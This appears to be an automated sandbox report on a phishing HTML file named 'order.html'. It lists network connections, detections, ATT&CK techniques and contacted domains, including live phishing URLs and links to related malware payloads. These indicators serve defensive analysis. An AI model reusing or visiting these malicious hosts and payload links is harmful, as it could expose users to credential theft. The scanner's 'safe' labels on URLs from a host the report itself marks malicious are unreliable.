Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443

Source: unknown	HTTPS traffic detected: 142.250.69.4:443 -> 192.168.2.4:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.212.106:443 -> 192.168.2.4:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.212.106:443 -> 192.168.2.4:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.4:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.4:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.194.137:443 -> 192.168.2.4:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.5.189:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.5.189:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.253.33.254:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.190:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.190:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.35.32:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.238.109.75:443 -> 192.168.2.4:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.238.109.75:443 -> 192.168.2.4:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.114.4:443 -> 192.168.2.4:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.238.109.75:443 -> 192.168.2.4:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.1.100:443 -> 192.168.2.4:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.47.37:443 -> 192.168.2.4:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.4:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.170.91:443 -> 192.168.2.4:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49832 version: TLS 1.2

System Summary

HTML document with suspicious name

Source: Name includes: order.html

Initial sample: order

Source: classification engine

Classification label: mal100.phis.evad.winHTML@25/87@44/20

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1988,i,1729154718353865194,6390418979746361154,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2028 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\order.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1988,i,1729154718353865194,6390418979746361154,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2028 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Data Obfuscation

HTML file submission requesting Cloudflare captcha challenge

Source: https://ranr5.oqgriud.es/xWG7spS/$email@gmail.com

HTTP Parser: https://ranr5.oqgriud.es/xWG7spS/$email@gmail.com

Malware Analysis System Evasion

Yara detected AntiDebug via timestamp check

Source: Yara match	File source: 2.17..script.csv, type: HTML
Source: Yara match	File source: 1.4.d.script.csv, type: HTML
Source: Yara match	File source: 2.15..script.csv, type: HTML
Source: Yara match	File source: 2.7.pages.csv, type: HTML
Source: Yara match	File source: 2.10.pages.csv, type: HTML
Source: Yara match	File source: 2.6.pages.csv, type: HTML
Source: Yara match	File source: 2.8.pages.csv, type: HTML
Source: Yara match	File source: 2.9.pages.csv, type: HTML

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 Deobfuscate/Decode Files or Information	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://ranr5.oqgriud.es/wxuI9sQfu2BQZgE7cvtbW1rYfMNNEL8qrHcNP5runFbkRnbfYU34124	0%	Avira URL Cloud	safe
https://ranr5.oqgriud.es/GDSherpa-regular.woff	0%	Avira URL Cloud	safe
https://ranr5.oqgriud.es/mnW6ax7zUB7JKxnxsqoYba3bEJXUHkaugjRSkLLb83RTpSwefyWXfGqe6G7wTrPhUrnsIYwrzpLYSCVJgE78TPzSCapMj3auv324	0%	Avira URL Cloud	safe
https://ranr5.oqgriud.es/uvhL1ADFrGd59QKm3aUd1YWJQvR6N74GYmMKpoJ45B0Wl3znehUgbrTCUpy1u4DfUGdfKgh251	0%	Avira URL Cloud	safe
https://ranr5.oqgriud.es/cbAhwlmeXbVlfKI84BpDQEn248txtpk3zPYiXIme0PXcq	0%	Avira URL Cloud	safe
https://ranr5.oqgriud.es/qrNylf5N5Aju3ioV5ZGrth8jHaxKBefC8JeuwjuJ6E1yJVparC45137	0%	Avira URL Cloud	safe
https://ranr5.oqgriud.es/zcrk11ZEWLQrFq5pSgz11jbTQTALpuylahxbLuNPgZaipltLkPDfw	0%	Avira URL Cloud	safe
https://ranr5.oqgriud.es/56P4kMWyMxyC7xL8920	0%	Avira URL Cloud	safe
https://ranr5.oqgriud.es/rsUC3OD2LnWxsp3y1XxxFvUcKhijZzWgS0Bpqq0s6FxaCLdwCef198	0%	Avira URL Cloud	safe
https://ranr5.oqgriud.es/favicon.ico	0%	Avira URL Cloud	safe
https://ranr5.oqgriud.es/GDSherpa-bold.woff	0%	Avira URL Cloud	safe
https://ranr5.oqgriud.es/GDSherpa-vf.woff2	0%	Avira URL Cloud	safe
https://ranr5.oqgriud.es/GDSherpa-vf2.woff2	0%	Avira URL Cloud	safe
https://ranr5.oqgriud.es/GDSherpa-regular.woff2	0%	Avira URL Cloud	safe
https://siur4.ugyqwmm.es/tatay!tr8w7n0r	0%	Avira URL Cloud	safe
https://ranr5.oqgriud.es/gh2tvkDL0be18LjQsWGZKqxy0CYAeDAtybmAXh00U12210	0%	Avira URL Cloud	safe
https://ranr5.oqgriud.es/qr3vr6ttdBKclLV3jMFLK1mSB6Vk6Qf1Gwn09JfQyoo12OiHY6ETuKI3PpIXVeYgef240	0%	Avira URL Cloud	safe
https://ranr5.oqgriud.es/yzINkX13tuE7D8mz7PPlghKopCg0LoDao7efVvR6gG17ab180	0%	Avira URL Cloud	safe
https://ranr5.oqgriud.es/abyshM1ljvWrsc2Ecd25	0%	Avira URL Cloud	safe
https://ranr5.oqgriud.es/GDSherpa-bold.woff2	0%	Avira URL Cloud	safe
https://ranr5.oqgriud.es/ajya41Bpa0wbRdhlEPIQoBfMQup6Cn793miqFyTzMHkTmm3ZZHdMtIpe	0%	Avira URL Cloud	safe
https://ranr5.oqgriud.es/342AK1W0a0NgfMKS7yiaNmzYklHnpNOhkO289104	0%	Avira URL Cloud	safe
https://ranr5.oqgriud.es/rsuQIbd6urxwgN1WWB9pdUvvBlwNqZjigjsk0QlimudDoAGyzlTTHcohq0U9DbQ385k17uDmwAG97qqdY6pXEeDB9kkl350	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
developers.cloudflare.com	104.16.5.189	true	false	high
github.com	140.82.114.4	true	false	high
ranr5.oqgriud.es	172.67.212.106	true	true	unknown
siur4.ugyqwmm.es	172.67.189.190	true	false	unknown
6d1fwx9uxuoohmaxbijulx755yzoqrx9oiueol3zuxj9z2pjl3dzt33v.iuhqpa.es	104.21.47.37	true	false	unknown
code.jquery.com	151.101.194.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
get.geojs.io	104.26.1.100	true	false	high
www.google.com	142.250.69.4	true	false	high
d19d360lklgih4.cloudfront.net	18.238.109.75	true	false	high
s-part-0043.t-0009.t-msedge.net	13.107.246.71	true	false	high
objects.githubusercontent.com	185.199.108.133	true	false	high
ok4static.oktacdn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ranr5.oqgriud.es/wxuI9sQfu2BQZgE7cvtbW1rYfMNNEL8qrHcNP5runFbkRnbfYU34124	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/flow/ov1/634974395:1745342180:uKBXzDjkUEtlp3JW1o_n-eV3FVylXYclpYHKtRl9sXg/9347129aedd47867/vO40KqVwuwUjFIR.96gez5y443KorbplGntCz4bWQLM-1745345371-1.1.1.1-VqbvdK3GGE20cfl6ofBnuSgwu_OniIRF1D4CVQUqKcTcqVCZjrQqVX_klPbqTve_	false		high
https://ranr5.oqgriud.es/GDSherpa-regular.woff	false	Avira URL Cloud: safe	unknown
https://ranr5.oqgriud.es/qrNylf5N5Aju3ioV5ZGrth8jHaxKBefC8JeuwjuJ6E1yJVparC45137	false	Avira URL Cloud: safe	unknown
https://ranr5.oqgriud.es/mnW6ax7zUB7JKxnxsqoYba3bEJXUHkaugjRSkLLb83RTpSwefyWXfGqe6G7wTrPhUrnsIYwrzpLYSCVJgE78TPzSCapMj3auv324	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://ranr5.oqgriud.es/zcrk11ZEWLQrFq5pSgz11jbTQTALpuylahxbLuNPgZaipltLkPDfw	false	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://ranr5.oqgriud.es/cbAhwlmeXbVlfKI84BpDQEn248txtpk3zPYiXIme0PXcq	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css	false		high
https://ranr5.oqgriud.es/56P4kMWyMxyC7xL8920	false	Avira URL Cloud: safe	unknown
https://ranr5.oqgriud.es/rsUC3OD2LnWxsp3y1XxxFvUcKhijZzWgS0Bpqq0s6FxaCLdwCef198	false	Avira URL Cloud: safe	unknown
https://ranr5.oqgriud.es/uvhL1ADFrGd59QKm3aUd1YWJQvR6N74GYmMKpoJ45B0Wl3znehUgbrTCUpy1u4DfUGdfKgh251	false	Avira URL Cloud: safe	unknown
https://ranr5.oqgriud.es/favicon.ico	false	Avira URL Cloud: safe	unknown
https://siur4.ugyqwmm.es/tatay!tr8w7n0r	false	Avira URL Cloud: safe	unknown
https://ranr5.oqgriud.es/abyshM1ljvWrsc2Ecd25	false	Avira URL Cloud: safe	unknown
https://ranr5.oqgriud.es/GDSherpa-bold.woff	false	Avira URL Cloud: safe	unknown
http://c.pki.goog/r/r4.crl	false		high
https://ranr5.oqgriud.es/GDSherpa-vf.woff2	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://ranr5.oqgriud.es/GDSherpa-vf2.woff2	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=Jss7srFG8DWeKuAFt6etXYycQ9uk67wg4lG5aTgeHZ4Zz5sU1uVf19xzL3qfkSNSOWT19PFLt81oUOKNtHLKtHYdQLmtA%2BiVpsMDbkQEXCzhb9yPyVwoF6zEePgh	false		high
https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css	false		high
https://ranr5.oqgriud.es/GDSherpa-regular.woff2	false	Avira URL Cloud: safe	unknown
https://ranr5.oqgriud.es/GDSherpa-bold.woff2	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/g/44e6f86df4dc/api.js	false		high
https://developers.cloudflare.com/favicon.png	false		high
https://a.nel.cloudflare.com/report/v4?s=sshef%2FMhRENj3LUa7jRGyZK%2B56ao3S4M65wx6O8xtIpaUXGD1T%2BQ7WOw8mtFHZwxcWaybSTgRpTt6Bs71wrGcxYYXF3dT1HKIBwW71QeDkHqMasvmW7MIcaGPzT2	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/9347129aedd47867/1745345372998/44b1c9588821fa26dc5b3e90057b5f72958d436c1198084fcbadb50f4e48ad7f/zx8HFHjwaLhTuip	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1	false		high
https://ranr5.oqgriud.es/qr3vr6ttdBKclLV3jMFLK1mSB6Vk6Qf1Gwn09JfQyoo12OiHY6ETuKI3PpIXVeYgef240	false	Avira URL Cloud: safe	unknown
https://ranr5.oqgriud.es/yzINkX13tuE7D8mz7PPlghKopCg0LoDao7efVvR6gG17ab180	false	Avira URL Cloud: safe	unknown
https://ranr5.oqgriud.es/gh2tvkDL0be18LjQsWGZKqxy0CYAeDAtybmAXh00U12210	false	Avira URL Cloud: safe	unknown
https://ranr5.oqgriud.es/xWG7spS/$email@gmail.com	true		unknown
https://ranr5.oqgriud.es/rsuQIbd6urxwgN1WWB9pdUvvBlwNqZjigjsk0QlimudDoAGyzlTTHcohq0U9DbQ385k17uDmwAG97qqdY6pXEeDB9kkl350	false	Avira URL Cloud: safe	unknown
https://get.geojs.io/v1/ip/geo.json	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/d/9347129aedd47867/1745345372985/gzvwzGa4n3Xejo2	false		high
https://ranr5.oqgriud.es/342AK1W0a0NgfMKS7yiaNmzYklHnpNOhkO289104	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/fd6k9/0x4AAAAAABLO6rHX9j2eSnXT/auto/fbE/new/normal/auto/	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=9347129aedd47867&lang=auto	false		high
https://ranr5.oqgriud.es/ajya41Bpa0wbRdhlEPIQoBfMQup6Cn793miqFyTzMHkTmm3ZZHdMtIpe	false	Avira URL Cloud: safe	unknown
https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBP	true		unknown
https://a.nel.cloudflare.com/report/v4?s=6TvivGid0UPXBMBnv5fNxDXmnLeiSb0meNAtXTd8PdXudZLEbRx%2BoBRwzz2tTqqN%2BTDk%2BG4vH%2B1AIbMbY2%2BAOjTBe6Lg2AdBUCRZinsZxRuxFn5l538Ud7Ij2byO	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/fent)	chromecache_89.2.dr	false		high
https://www.homedepot.com	chromecache_117.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
140.82.114.4	github.com	United States	36459	GITHUBUS	false
104.21.47.37	6d1fwx9uxuoohmaxbijulx755yzoqrx9oiueol3zuxj9z2pjl3dzt33v.iuhqpa.es	United States	13335	CLOUDFLARENETUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.26.1.100	get.geojs.io	United States	13335	CLOUDFLARENETUS	false
104.16.5.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
18.238.109.75	d19d360lklgih4.cloudfront.net	United States	16509	AMAZON-02US	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.21.35.32	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.69.4	www.google.com	United States	15169	GOOGLEUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
172.67.170.91	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.189.190	siur4.ugyqwmm.es	United States	13335	CLOUDFLARENETUS	false
172.67.212.106	ranr5.oqgriud.es	United States	13335	CLOUDFLARENETUS	true
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.70.233	unknown	United States	13335	CLOUDFLARENETUS	false
185.199.108.133	objects.githubusercontent.com	Netherlands	54113	FASTLYUS	false

Private

IP
192.168.2.7
192.168.2.16
192.168.2.4

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1671345
Start date and time:	2025-04-22 20:08:23 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	order.html (renamed file extension from none to html)
Original Sample Name:	order
Detection:	MAL
Classification:	mal100.phis.evad.winHTML@25/87@44/20
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, RuntimeBroker.exe, ShellExperienceHost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.72.238, 142.250.217.131, 142.250.101.84, 172.217.12.142, 142.250.69.14, 142.250.189.14, 23.55.219.177, 199.232.214.172, 142.250.68.14, 142.250.217.138, 142.250.188.234, 142.251.40.42, 142.250.72.170, 142.250.72.234, 142.250.189.10, 172.217.12.138, 142.250.68.42, 142.250.72.138, 172.217.14.106, 172.217.14.74, 142.250.176.10, 192.178.49.195, 142.250.69.3, 142.250.217.142, 142.250.68.238, 184.29.183.29, 20.12.23.50, 13.107.246.71
Excluded domains from analysis (whitelisted): a-ring-fallback.msedge.net, logincdn.msauth.net, clients1.google.com, fs.microsoft.com, lgincdnmsftuswe2.azureedge.net, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, lgincdnmsftuswe2.afd.azureedge.net, clients.l.google.com, c.pki.goog
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
140.82.114.4	fileless.exe	Get hash	malicious	Unknown	Browse	github.com/IsdaM123456/rQsa/raw/refs/heads/main/UK9uSDs.bin
140.82.114.4	quas.dll.dll	Get hash	malicious	Quasar	Browse	github.com/RQ3Xd/1/raw/refs/heads/main/quas.bin
104.21.47.37	SecuriteInfo.com.Variant.Lazy.255475.29448.17667.exe	Get hash	malicious	Azorult	Browse	blxyz1.shop/blxyz1/index.php
104.21.47.37	SecuriteInfo.com.NSIS.PWSX-gen.25582.21857.exe	Get hash	malicious	Azorult, GuLoader	Browse	blxyz1.shop/blxyz1/index.php
104.18.94.41	https://www.canva.com/design/DAGlYKbjuY0/4RHeBbJnCUf_5x4HDhIw8g/view?utm_content=DAGlYKbjuY0&utm_campaign=designshare&utm_medium=link2&utm_source=uniquelinks&utlId=ha694dfb181	Get hash	malicious	HTMLPhisher	Browse
	Play Recordings for rons@davislaw.com.svg	Get hash	malicious	Invisible JS, Tycoon2FA	Browse
	http://7z12rpnxwcs.s3-website-us-east-1.amazonaws.com/s9qks8lshvz.html	Get hash	malicious	Phisher	Browse
	Document-4995884.xlsx	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://free.teambeam.de/api/skp/v1/download/4svgq9jpl86letap5e63e0ijrlulmjw5hperu180/0/Driesmans%20en%20Co%20NV%20.pdf	Get hash	malicious	Unknown	Browse
	https://dwilsondocs.caychieulieuaz.com	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	Medbase Employee.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	Quarantined Messages.zip	Get hash	malicious	HTMLPhisher	Browse
	https://josephhospicekkl.com/?ppk=c3VldGZlbi5jaG9vQGFzaWFjYXBpdGFscmUuY29tLS0tLUFmZmVuZGkgQmluIE1vaGQgWW9i	Get hash	malicious	HTMLPhisher	Browse
	https://docs.google.com/presentation/d/e/2PACX-1vRZxtb80MC6aoCFIMfijPSgN5v6IKBFXYHiGHjnUX6A-Vhe3qp43FSUc8E9eQdLuPyJjba4KSXNdFcH/pub?start=false&loop=false&delayms=3000	Get hash	malicious	ReCaptcha Phish	Browse
104.26.1.100	install.exe	Get hash	malicious	Unknown	Browse	get.geojs.io/v1/ip/geo.json

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
code.jquery.com	https://www.canva.com/design/DAGlYKbjuY0/4RHeBbJnCUf_5x4HDhIw8g/view?utm_content=DAGlYKbjuY0&utm_campaign=designshare&utm_medium=link2&utm_source=uniquelinks&utlId=ha694dfb181	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	Play Recordings for rons@davislaw.com.svg	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	151.101.130.137
	Document-4995884.xlsx	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.130.137
	https://keap.app/contact-us/5070587456455920	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	151.101.2.137
	https://buildin.ai/share/c1f15171-7077-4a01-a44d-91e76c313eeb?code=0DF3HK&embed=true	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	151.101.66.137
	https://dwilsondocs.caychieulieuaz.com	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.194.137
	https://forms.office.com/e/UGN9kJGkPb	Get hash	malicious	Tycoon2FA	Browse	151.101.130.137
	Medbase Employee.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.130.137
	https://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=R7BS2-8CCkqKcGeixApmklE2cAUwifxFtwHSAOlaQZBUQlQxMTZQTlhZMzBYTUc2RE0xODFHWDZFMC4u	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	151.101.130.137
	https://app.powerbi.com/view?r=eyJrIjoiZTY3OTUxZDctMzZiMS00ZDU1LThkODEtYmZkMTdhNjQyN2U3IiwidCI6ImY5ZTBjOGIyLTk2NTgtNDE1ZS1iMzQyLThiYjhhMDJlZjhlOCIsImMiOjN9&embedImagePlaceholder=true	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	151.101.194.137
developers.cloudflare.com	Document-4995884.xlsx	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	FW Deal Sheet & Commitment-New Deal.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	3a8e85ffd4ab	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.5.189
	ocs.com_RemitReports_Pay.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.6.189
	$RCNW0Y4.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.4.189
	Deal Sheet & Commitment-New Deal (1).eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	FW Deal Sheet & Commitment-New Deal.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	FW Deal Sheet & Commitment-New Deal.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	test.doc	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
